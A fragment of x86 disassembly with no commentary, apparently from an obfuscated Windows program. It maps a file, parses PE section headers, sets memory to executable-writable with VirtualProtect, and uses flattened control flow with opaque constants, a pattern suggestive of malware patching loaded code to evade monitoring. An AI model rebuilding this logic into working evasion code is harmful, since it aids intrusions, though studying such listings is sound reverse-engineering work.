mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, eax
mov eax, dword [ebp - 0x58]
mov dword [eax], ecx
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x54]
mov dword [eax], ecx
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
sub ecx, 0x5f24c027
add ecx, eax
add ecx, 0x5f24c027
mov eax, dword [ebp - 0x50]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4c]
mov word [eax], 0
mov dword [ebp - 0x78], 0xc9bb12a9
jmp 0x40f359
mov dword [ebp - 0x78], 0x70ccdd75
jmp 0x40f359
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x2c]
sub ecx, 0x4d13d58e
add ecx, eax
add ecx, 0x4d13d58e
mov eax, dword [ebp - 0x4c]
movzx eax, word [eax]
imul edx, eax, 0x28
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x48]
mov dword [eax], ecx
mov eax, dword [ebp - 0x48]
mov ecx, dword [eax]
sub esp, 8
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 0x42ed3d
call fcn.00423920
add esp, 8
mov dword [ebp - 0x78], 0x9ca4a82c
jmp 0x40f359
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x20]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x40]
mov byte [eax], cl
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x78], 0x5fb67258
jmp 0x40f359
mov dword [ebp - 0x78], 0xfafe274b
jmp 0x40f359
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x78], 0xb1ec874e
jmp 0x40f359
mov eax, dword [ebp - 0x4c]
mov cx, word [ebp - 0x12]
mov word [eax], cx
mov dword [ebp - 0x78], 0x891cb1d5
jmp 0x40f359
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x78], 0x83d436bf
jmp 0x40f359
mov eax, dword [ebp - 0x10]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x78], 0xb528ffa1
jmp 0x40e072